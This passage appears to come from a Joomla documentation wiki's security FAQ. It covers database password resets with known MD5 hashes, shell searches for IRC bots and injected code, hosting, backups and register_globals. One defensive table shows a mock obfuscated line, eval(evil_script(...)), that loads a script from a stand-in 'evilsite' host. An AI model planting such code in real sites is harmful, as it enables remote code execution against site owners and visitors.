Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
 password = &amp;quot;MD5 hash of password&amp;quot;&lt;br /&gt;
 ------------------------------------------------------&lt;br /&gt;
 admin = 21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;
 secret = 5ebe2294ecd0e0f08eab7690d2a6ee69&lt;br /&gt;
 OU812 = 7441de5382cf4fecbaa9a8c538e76783&lt;br /&gt;
&lt;br /&gt;
5. Save the user record.&lt;br /&gt;
&lt;br /&gt;
6. Point a browser to your site and log in using the Super Administrator account you just modified.&lt;br /&gt;
&lt;br /&gt;
7. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will &#039;salt&#039; your new password, thus adding an additional level of security on top of the MD5 hash.&lt;br /&gt;
&lt;br /&gt;
Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Generating your own MD5 hash from a password of your choice&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you&#039;ve generated a hash with these tools.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Online MD5 hash creation tools&#039;&#039;&#039;&lt;br /&gt;
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/&lt;br /&gt;
* MD5er - http://www.md5er.com/&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Free MD5 utilities for download&#039;&#039;&#039;&lt;br /&gt;
* MD5 &amp;amp; Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp&lt;br /&gt;
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other MD5 tools&#039;&#039;&#039;&lt;br /&gt;
* There are many free online and downloadable MD5 utilities. Google &amp;quot;MD5 hash tool&amp;quot;&lt;br /&gt;
&lt;br /&gt;
== How do I find exploits using the *NIX shell? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check the active processes&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;quot;ps&amp;quot; command to look for odd or unknown processes, if you aren&#039;t sure what to look for there, user &amp;quot;netstat -ae | grep irc&amp;quot; and/or &amp;quot;netstat -ea | grep 666&amp;quot; and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name &amp;quot;irc&amp;quot; listed against them, or may have &amp;quot;httpd&amp;quot; or sometimes other regular services names.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check crontab&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Check for hidden files or directories&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Check for hidden files or directories you dont expect to see, those starting with &amp;quot;.&amp;quot; (dots) and also look for &amp;quot;. &amp;quot; (dot, space) often favored to try and catch searches for hidden directories.&lt;br /&gt;
&lt;br /&gt;
Other examples of searches that may help pin down exploits and/or unexpected files and folders:&lt;br /&gt;
&lt;br /&gt;
 find /home -type f | xargs grep -l MultiViews&lt;br /&gt;
 find . -type f | xargs grep -l base64_encode &amp;lt;&amp;lt;&amp;lt; this can produce false positives, it is valid in many mail/graphics scripts&lt;br /&gt;
 find . -type f | xargs grep -l error_reporting&lt;br /&gt;
 find / -name &amp;quot;[Bb]itch[xX]&amp;quot;&lt;br /&gt;
 find / -name &amp;quot;psy*&amp;quot;&lt;br /&gt;
 ls -lR | grep rwxrwxrwx &amp;gt; listing.txt&lt;br /&gt;
&lt;br /&gt;
== What are these strange (URL-Encoded) characters doing in my code? ==&lt;br /&gt;
&lt;br /&gt;
Overview&lt;br /&gt;
&lt;br /&gt;
Attackers sometimes hide code away from prying eyes by URL Encoding it.&lt;br /&gt;
&lt;br /&gt;
The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.&lt;br /&gt;
&lt;br /&gt;
However, if you find odd, URL-encoded text in your site&#039;s files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.&lt;br /&gt;
&lt;br /&gt;
Here are some trivial, non-functioning examples of URL Encoded text:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Original&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;URL Encoded&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;this line has spaces&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;this%20line%20has%20spaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr valign=&amp;quot;top&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;eval(evil_script(http://www.evilsite/?evilscript.pl&amp;quot;));&amp;lt;/td&amp;gt; &lt;br /&gt;
&amp;lt;td&amp;gt;%65val%28%65%76il_%73cri%70t&lt;br /&gt;
%28%68tt%70%3A//%77%77%77.&lt;br /&gt;
%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Edited by==&lt;br /&gt;
[http://forum.joomla.org/memberlist.php?mode=viewprofile&amp;amp;u=39784 rliskey]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62365</id>
		<title>Security and Performance FAQs</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Security_and_Performance_FAQs&amp;diff=62365"/>
		<updated>2011-09-26T22:47:41Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: /* How can I check my Joomla! installation&amp;#039;s overall security and health? */ any other suggestion this project stated that it has &amp;quot;gone away&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{RightTOC}}&lt;br /&gt;
&lt;br /&gt;
= Getting Started =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Is GNU and Open Source software worth the costs and risks?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling: &lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
! &#039;&#039;&#039;Applications&#039;&#039;&#039; !! &#039;&#039;&#039;Industry Leader&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| GNU/Linux&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Apache Web Server&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| MySQL Relational Database&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| PHP Scripting Language&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Content Management System&lt;br /&gt;
| Yes&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Joomla Extensions&lt;br /&gt;
| Varies&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! &#039;&#039;&#039;Support&#039;&#039;&#039; !! &#039;&#039;&#039;Relative Quality&#039;&#039;&#039; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Cost&#039;&#039;&#039;&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Project Leadership Team&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Forge&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Online Forums&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Joomla! Documentation&lt;br /&gt;
| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:&#039;&#039;&#039;  If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
